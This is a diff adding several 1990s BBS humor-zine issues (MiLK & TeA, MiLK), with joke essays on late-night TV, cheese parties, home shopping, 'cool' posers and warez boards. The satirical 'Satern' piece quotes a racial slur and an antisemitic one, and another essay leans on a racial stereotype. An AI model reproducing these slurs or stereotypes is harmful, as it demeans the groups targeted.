Listing: ³ + ³ ³ + ³ James Hetfield Rattle Pip The Angry Youth Nyarlathotep ³ + ³ Snakelady ³ + ³ ³ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #005 Author: Snakelady ³ + ³ Size: 5688 Bytes Title: "Keet" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.006 b/textfiles.com/magazines/MILK/milk&tea.006 new file mode 100644 index 00000000..78a79f46 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.006 @@ -0,0 +1,152 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #006: Cheese Wheels of Doom! (By Malakai) ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Cheese-Wheels of Doom + by Malakai + + + + Date: Wednesday, November 11th, 2003 + Time: In the morning, I DON'T KNOW, look at your damn watch. + Location: Top Secret Bunker, Somewhere in the galaxy + + +This opening scene stars the President of the United States, the Dictator of +China, the Emperor of Japan, and the bunker's janitor, Janitor Billy. + + +PRESIDENT: Well, it looks like I slipped. My nucleur missiles fell down and +destroyed most of the known world. + +DICTATOR: Yeah, it's a pity, I kind of liked McDonalds. + +EMPEROR: Mi chi La Quao Ne Ban! +: I can't understand a thing you two just said! + +BILLY: daaaaaaaaarrrrr.... 'ey bob! + +PRESIDENT: Talking without permission again, ey Billy? + +BILLY: Ow, darr... sorry bob. + +PRESIDENT: That's MISTER PRESIDENT, YOU STUPID IDIOT! + + + +...We're sorry, this movie is in the wrong T-file... we now resume our +regularly scheduled T-file, the Cheese-Wheels of Doom, by Malakai. + + --- --- --- --- --- --- --- --- --- + + + + + Well, to start off, this will be my 1st file for the new group and I just wanted to say one thing to all you +people... "ooo ooo ooo ah ah ah!"; And now that I've said that word, I shall +continue on with the point of this T-File. Now, we all watch TV, right? At +least SOME time during our lives we must glance over at that strange box +which keeps on sending some picture and sound through it, as if it was +possessed by the spirit of Chia himself. Well, anyway, I have been up all +night a lot lately and have been FORCED by lack of any background noise to +watch the most dreaded thing of all. + + + INFOMERCIALS + + + Now, it might be okay if it was something that was actually +INTERESTING and maybe something someone in thier right mind would USE. For instance, who in the +world would by a dehydrator and use it all too often. Especially considering +you can't REHYDRATE it. Imagine this, they dehydrate thier meat, it's all +shriveled and disgusting looking. Well, imagine Mrs. Housewife dehydrating +ALL the food. Goddamn. + + And then I see an informercial for a MOP. A GODDAMN MOP. Who the fuck +is going to be watching TV at 5am, see this commercial and say, "OH MY GOD. +THIS MOP IS GREAT!! I NEED ONE!" or "I'm depressed, I think I'll buy a mop," +or even, "I need a mop to fend off the evil spirits who are keeping me awake +to write this T-file!"; Now, please, tell me that an HOUR infomercial is just +going WAY too far for a !!! MOP !!! + + Ok, but guess what, this is not JUST about INFOMERCIALS. This is +about all the shitty things they put on TV from 2-5 am. Now, channel 50 +usually has the standard layout of crappy infomercials around here, but then +all of a sudden, I find that I am watching a cheezy, dubbed in english, +Chinese kung fu flick! It's SO LAME. The idiot ANNOUNCES his moves before me +makes them. That's like going into Chicago, going up to a 6'8" black guy with +huge muscles and saying, "Hi, I am going to first punch you in the nose," and +then you stand there and wait for him to turn around, but he doesn't. He +whistles and has his 20 friends come out and kick your ass. How come that +never happens in those movies? Then they might actually be cool. + + The next pesky thing on late night TV is the TELE-EVANGELISTS. Sure, +this seems quite a bit more reasonable, because, well, the assholes are +trying to squeeze money out of the poor depressed idiots who are up and +staring at the TV hoping God will save them from thier pain for a measly 100 +dollar contibution to some multi-million dollar moron. Just what we need. For +once, I wish people weren't so ignorant. I mean, if ignorance is bliss, why +are there so many depressed and unhappy people!? I mean, 95% of the country +is IGNORANT. + + But there is one GREAT thing about late night TV. When you are +flipping through the channels and all of a sudden, you get to one with a +multi-colored screen, with bars going up and down. And there is a loud, +soothing beep emitting from the speakers. It is peace and tranquility, rather +like the emergency broadcast system tests, only it goes on for hours. +Sometimes I just sit there and stare at the screen, listening to the beeping, +feeling it flow through me. It is then when I think, that maybe late night TV +isn't so bad after-all? + + AND THEN... the sound stops, the screen goes black for a mere 3 +seconds, and then some STUPID infomercial for D-D 7 comes on. Prehaps late +night TV just needs more beeps, but whatever the problem, I say stick to +radio... until next time, this is Late-night TV anti-advocate Malakai, +signing off... + + +.... Greetz go out to .... + +My alarm clock... man, I couldn't wake up without you, that's why I throw you +at the wall so much. + +To all the Unduck heads. Yeah. that's right, UNDUCK, got a problem with that? + +To the big cheese, even though I have no idea who it is. + +To all you 3l1t3 people out there, I hate you. + +.... That's all, and remember.... + +NYTOL WILL HELP YOU GET YOUR Z's + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #006 Author: Malakai ³ + ³ Size: 7512 Bytes Title: "Cheese Wheels of Doom" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.007 b/textfiles.com/magazines/MILK/milk&tea.007 new file mode 100644 index 00000000..e7379bab --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.007 @@ -0,0 +1,62 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #007: Cheese Party! (By Nyarlathotep) ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[Cheeeeeeeeeeeeeeeeeeze traaaaaaaaaaaaaaaain! house party! -jh] + + Have you ever been bored with nothing to do? Have you ever +called your friends, and then all been bored sitting around together? +Well, my friend, I think I have the solution to your problems. What is +this divine solution you say, well, the answer is... the Cheeze Party. + We all love cheeze, I mean, cheeze is made of MiLK (and mold, +but we can pretend to forget that cant we?) so it has to be good. Well, +as the name implies cheeze is the most important ingredient to a +sucessful cheeze party. The more types the merrier, you should have each +guest bring one variety of cheeze. Suggested varieties include: +American, Swiss, Muenster, Brick, Colby, Chedder, Gouda, Bleu, LAUGHING +COW!, and the immortal limburger. Some people leave out the last one, +but personally, I think no cheeze party can be complete withough it. + Ok, now we have the cheeze, but there are some other things that +we need to get. First of all, Yak liver is an important thing for every +party. Of course, we all know the problem that it taked 42 yakes to get +one yak liver. But I think the end result is well worth the expense. And +the other important thing is Indian Dancing Girls. Indian Dancing Men +can be subsituted in a pinch, but I believe that this ingredient is very +important, as you need quality entertainment. + Now that we have all the ingredient, we must get everyting in +order. Put out all the cheezes, preferably each on its own tray, along +with an assortment of crackers, cause who can resist cheeze and +crackers? Make a seperate tray of the yak liver. Never mix the cheeze +and Liver on the same tray. Make sure to label everything. + Now, set the dancer up on the opposite side of the room, start +music, and begin to party. Remember, its considered good manners to try +each cheeze at least once, but after that you can stick with your +favorites. + I hope you find this method of fun and excitement useful, and +remember it next time you are bored. + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #007 Author: Nyarlathotep ³ + ³ Size: 4081 Bytes Title: "Cheese Party!" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.008 b/textfiles.com/magazines/MILK/milk&tea.008 new file mode 100644 index 00000000..77968fb0 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.008 @@ -0,0 +1,87 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #008: Satern (By James Hetfield) ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + So, you want to be cool? You've got your KMFDM CD's, you've +been reading about Eastern Religions, and, of course, you have your own +band that refers to your genetalia in every song. You use the words +"nigger" and "Jew" in every other sentance. And yet, you +still really don't feel "Cool". What's to be done? + Well, first off, you're obviously forgetting a +trenchcoat. Everyone who is cool has a black trenchcoat. +Also, if you really want to be cool, you can't forget to wear +lots of eyeliner, whether you are male or female, lots of +eyeliner dripping off your face puts on a totally new +"cool"ness about you. You just HAVE to run a BBS to be cool. +Some good names for BBSes are things like "Jew-Slayers +Anonymous" or "Poisoned Wench BBS". Oh, obviously you have to +live in Wilmette, Illinois to be cool. That's a given. + You have to watch "A Clockwork Orange" + Or "Rocky Horror" to be cool. You have to be + in the mafia to be cool. You have to smell like + sewage to be cool. You don't wash your hair or + shave your legs if you're cool. You + order + water + and + nothing + else + at + restaurants + when + you're + cool + + You carry lots of things around with you when you're +cool. Like your favorite books that no one else has read and +you get to think of them as peons and unintellectual because +they haven't. Or loaves of bread. + + When you're cool + you use the word + ignorance a lot + +when you're cool you own the internet + + Cool people were Shades and Yamakas at +Rave concerts + + Cool people talk about Sex + + a lot + + ... but don't get any + +Cool people read Samuel Beckett ... and understand it + + Cool people think _Tommy_ is crap + +Cool people don't do lunch + + Cool people... don't exist + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #008 Author: James Hetfield ³ + ³ Size: 4363 Bytes Title: "Satern" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.009 b/textfiles.com/magazines/MILK/milk&tea.009 new file mode 100644 index 00000000..5c0436b3 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.009 @@ -0,0 +1,112 @@ + ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: + ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: ~~ + ³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: Issue #09 + ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh ~~ + ° ß± + + "Drugs, Fine Wine, Revolution, and More Drugs" + +  by pic  + + Well, hello! + + It appears that your MiLK is now coming through to your computers +through a different method now. It appears that the MiLKMen are wearing +different uniforms and bringing different shaped bottles to your house. This +change perplexes us, and we wonder, is this a GOOD change? Well, let us hope +so. (Besides, these 'new and improved bottles' appeal to you in your +subconscious mind because they remind you of the form of a female's body. Or, +if that's not your thing, they could also be perceived as a phallic symbol.) + + And that's not ALL! Instead of just fresh creamy MiLK to whet your +text-file thirst, the MiLKMen will also be delivering some Tea along with +your MiLK. Tea (MUCH MUCH better than Advanced Tea Substitute, if you've ever +had that) is one of our finest beverages, and will take it's place in the +refrigerator of life right next to the liters of MiLK (NOT Gallons, damnit! +Use the metric system, it's the LAW!), the pitchers of Tang(tm), the chilled +bottles of pills, and of course, your leftover burgers. Breakfast, anyone? + + And so, the readers of this new creation of MiLK and Tea that happen +to be reading this particular issue (you and me for example) may be +wondering, so - is epic going to actually write anything in this issue or +not? Well, I'm pondering that topic myself. I think it must be the only just +thing to do here. Hmm. Well, in Issue #06 of this magazine thing here, +Malakai griped and whined and complained about some of the horrors of late +night television programming. Well, if he had only turned the dial over the +sales team at the Home Shopping Club, he would have had a fun time. Not to +mention some SERIOUS savings. + + Oh, the dear Home Shopping Club! Modern technology and civlization at +it's finest! It's almost as cool as room service. You can sit at home and +watch the beautiful products on display, and lose yourself in the charm of +the elegant voices of the hosts of the show. That's just terrific. Wow. + + Sample the superb styling of the malachite jewelry! Hand crafted by +REAL American Indians. Or perhaps gold is your thing, may I suggest a studded +pendant! Not many other pendants come out at you and say WOW like this one +does. Is that not a chunk? That is INDEED a CHUNK. Terrific. + ___________________ + / / + / FLEX-PAY(tm) / / ___// / / __//_/_/_/ __ + /__________________/ + + HEY! It's everyone's friend, Flex-Pay! Flex-Pay makes it easy to buy +whatever you see on the Home Shopping Club, even if you don't have enough +money to afford it! Isn't the capitalist system great? + + Not only is there some serious savings to be had (and man, I'm +talking SERIOUS savings, incredible values), there's DRAMA. If you happen to +be watching Television's Gift to Life (The Home Shopping Club of course) +during the late hours of the night, chances are a drunk old lady will call up +to chat with the host of the program. On a good night, this might happen +more than just a few times. Isn't that terrific? + + Well, that was a short synopsis of my opinions on the Home Shopping +Club. After reading that you may be left with a questions. You may ask, why? +You may ask if I spend long evenings watching and studying the way the Home +Shopping Club is run, or if my entire speech was meant to be bitterly +sarcastic and I actually loathe any form of home shopping, especially on the +airwaves? You may ask how many questions I may ask? (You may not be told this +information.) You may ask yourself, "Where does this highway go to?". You may +ask yourself "Where is my beautiful house?", and you may ask yourself "Where +is my beautiful wife?". You may ask youself, "Who IS Number One?" You may ask +yourself if you have done a good job recycling, and you may ask yourself +questions on the subject of Greek Mythology. You may wonder how many licks it +takes to get to the center of a tootsie roll pop, or how many pills of Prozac +it takes to cause mental damage. You may ask, "How many roads must a man walk +down?", or "When is the next GWAR concert?" After all, inquiring minds want +to know. This is the information age, and we want information. Release it. + [ + ¯¯ the end. + + "Questions are a burden to others and answers a prison to oneself." + + + This text file was supported by the following -- + + That crazy purple haired girl (moo.), the spoogitives, 111mzd, + loverock, the followers of the WeaSoL, and the followers of b0b. + + -- Thanks. + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #009 Author: Pic ³ + ³ Size: 7185 Bytes Title: "Drugs, Fine Wine..." ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk-001.txt b/textfiles.com/magazines/MILK/milk-001.txt new file mode 100644 index 00000000..63098226 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-001.txt @@ -0,0 +1,129 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #1 Û Û +Û²²²²²²²²²Û Liquid "Cows! (Where MiLK Comes From)" Û²²²²²²²²²Û +Û²²²²²²²²²Û illicit By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + If I'm going to Give a Historical Background of [MiLK], I might as +well give a history of my board, The Obloid Sphere, as well. I got into +BBSing about a Year and a Half ago, when I borrowed my friend's modem to +call up lame Public Domain, "No Handles" kind of boards. they were stupid +and I didn't enjoy them too much. Then, one day, I got the number to "The +City" a 10 line chat board. I was hooked. After that, I found many other +boards in the Chicago area that looked snappy and started calling out a lot +on a regular basis. At this time I was calling out on my mother's Laptop +on a External 2400. Whee. anyways, October rolled around and I got my hands +on a Brand spanking new 486. Yeah, I'm a spoiled brat. So what do I do? I +start up my own board, what else would a spoiled brat do? However, by this +time I was in BBSing with the right state of mind, that a Board should be for +Messages and Online games, not for Files. I got my hands on Telegard 2.7, a +good starting software. I would call up The Nuclear Greenhouse, one of the +chat boards i called, and try to get people to call up my board. No one would, +however, except for a certain person in particular, Nyarlathotep. I had seen +Neil on "The Halls Of The Video Warrior" which was in fact the board that +inspired myself to put on up.. anyways, he'd call up and help me test things +out, like the online games and such.. he didn't seem to mind so much, which +was cool. My friend Joel, Dark Lord, also helped a bit.. Well, about the +time the board actually went up a few months went by, me bugging for a phone +line, etc... But it got up, and It's been up a Year now.. + + In the beginning, on Telegard, The main emphasis was Online Games and +Messages. I had a handful of good daily-calling Users, which kept me contempt. +Eventually most of the Main Online Game users either stopped calling, or just +stopped using them, and we ended up with what has now been a Message oriented +BBS for a year. I switched from Telegard to Renegade, and was running that +some time under Windows, so I could Multi-Task... my Hard Drive crashed, +however, and I quickly re-set up Telegard because I didn't have Renegade +backed up.. Well, then I went back to renegade for a while.. Changed to +Innovations, being "swayed" by the author at it's features that Renegade +didn't have, had my BBS hacked severely by Someone that knew their way around +Innovations, and Now I find myself back at Renegade. A good software. + + "So What, That Tells us Nothing About [MiLK]" You say. + + Well, ok, back on track then. when I was running Telegard for the +first time, I saw someone on the Nuclear Greenhouse going by Guido Sanchez. +I pestered them to Call my board. We chatted and talked voice a few times +and I found out he was the author of a Text file group, BLaH. well, I read +them and was quite impressed. I went and read a bunch-a other Text files, +and didn't really find any that made me laugh like a ninny like +BLaH did. BLaH inspired me enough to, when me and Guido had a parting of +ways, to try to start my own Tfile group. It got too centered around stupid +Chat captures, to say the least. The only good spats were by Oregano and +Nyar, and Nyar left for college soon after. so that Idea Died. + + As of Late I've been reading Text files once more, read over some +BLaH files again, and again missed the Text file Scene. so here I am. + + "But WHY [MiLK]?!?!!??!!" You whine. + + Oh, Yeah. [MiLK]. Well, I've been calling a lot of WaReZ 3l1t3 shit +boards as of late, considering the cool PD board is becoming less and less of +an item as of late, Favorite boards that have gone down will probably be an +issue of mane a [MiLK] file, and I've found that Everyone has their little +ANSi group as of late. ACiD. iCE. AXiS. MiC. BaD. BiGFaTaSSeS. iCaMEiNMYPaNTS. +etc... the list (LiST.) goes on and on... So I decided to "rebel" against +the system and Make the absolute worst ANSi group Possible, [MiLK], and the +leader was Grandma. Well, The sillyness of that passed, and I kept making +ANSi's and signed them "Grandma [MiLK]"... well, around the same time I started +making my own Online Games out of Infoforms and the such, and what a better way +to have an ANSi group but make ANSi Online Games! So I made a Few of them... +The MiLK Quest Series... MiLK Quest 1 Actually being fairly Impressive +considering no programming at all was introduced to the game... But I grew +tired of the Online Games, and wanted something more... something like a +text file group. So here we are. + + Hmm, So Let's get a list of Greetings out there, people who +I probably wouldn't be trying this stuff again if they weren't around... + +Lady CatNinja - Started up a board around the same time as me, we did the + "Help each other" out thing a lot over the year, till we + shall we say... had a parting of ways. + +Nyarlathotep - Helped me start up Obloid, always has been a great message + Poster, hopefully will help with this Text group + +Oregano - another one of the best posters on Obloid, always has + something interesting to say.. + +Nex - One of the last "Message Based" board sysops out there, + makes me sure I'm still running a board for a good + reason + +Guido Sanchez - Author of BLaH, made me look at life a little differently + than I did before I met him + +Constantine - Writer for BLaH, most inspiring Amateur writer I've read + + Hey, As Long As we're At it, Let's add some ANTI-Greetz in there + too! Can't spread anything positive without adding a touch of + Negativity! + +Chuck - Man, You're an asshole. Go take your Racist shit and + stick it up... your Guild. + +WaReZ GeeKs - You ruined a once great Cyberspace. + + Ok, Not TOO much Negativity though... So what we have here is just +another Tfile group trying to make a name for itself... Like [MiLK] or +something. Want to be part of the pasteurizing Process? Simply fill out +The [MiLK] Application on My board. I'll get back to you ASAP with details. + + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + +[MiLK] Issue Number - 1 +[MiLK] Issue Size - 7344 Bytes +[MiLK] Date of Production: 12/27/93 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Happy people are Ignorant People ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-002.txt b/textfiles.com/magazines/MILK/milk-002.txt new file mode 100644 index 00000000..c36ec432 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-002.txt @@ -0,0 +1,98 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #2 Û Û +Û²²²²²²²²²Û Liquid "Warez boards can be fun" Û²²²²²²²²²Û +Û²²²²²²²²²Û illicit By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + The young boy flips on his modem, looks down his CBBS listing for a +random number he hasn't tried yet that is in his area code, fluently types in +"atdt" and the number, and watches the modem do its magic. The boy sighs as +the message "CONNECT 14400" appears on the screen. He watches a 10-page Ansi +dance its way across the screen. At the logon prompt, he types in the word +"NEW". He gasps in horror as the screen displays the cryptic message +"New User Password:". + The boy calls around to all the BBSes he's already on, frantically +searching for the New User Password of the "Really Neat BBS". Finally, he +discovers it. He calls back and fills out the new user information, only +noticing one this out of the ordinary, one of the questions being "are you +a FED?". Now the true horror comes. He finishes his New user information, +and a New user Infoform pops up. A lot of boards use new user infoforms, not +a big deal, right? Wrong. This is no ordinary infoform. The questions on it +would disgust even the most strong of stomachs. "What are your 3 newest +consoles?". "What does iCE stand for?" "Do you pirate software?" the +list goes on and on. + + Sound familiar? An Experience most of us have probably encountered +many a times in our lives. Yet most of us do nothing about it, just never +call the boards back, living our lives the same as if it never happened. +Well look how much that has done for the Cyberspace we live in! The Warez +board has grown from a minority to a majority in less than a year. The simple +message board has nearly disappeared from existence. The only boards these +days with active message bases are either filled with horribly long ANSi's +promoting Warez boards, or Blabber about the newest version of d00m Out. +The few actually worthwhile users of BBSes are being driven away from the +scene by the massive inflation of 3l1t3n3ss in our realm. + + Something Must be done. + + "But What Can I Do, I'm just a simple BBSer!" you exclaim. + + Well, there are many things, really. You could Crash The Warez +Boards, but that's real messy and tends to get you in trouble in the long run +. You could Kill the Warez Sysops, but that too +ends up quite messy. You could do nothing and let the problem multiply until +you're the only non-3l1t3 BBSer in the state. + + There is another way, however. + + Most Sysops run boards for enjoyment. Most like the message bases +and want to watch them prosper, and the file bases are not as big of a deal. +However, most feel that the file bases are needed to keep the activity on +their board high. So post a message. Post a LOT of messages. Post things +like "So I hear the Pacific Ocean is mighty rough these days.. maybe 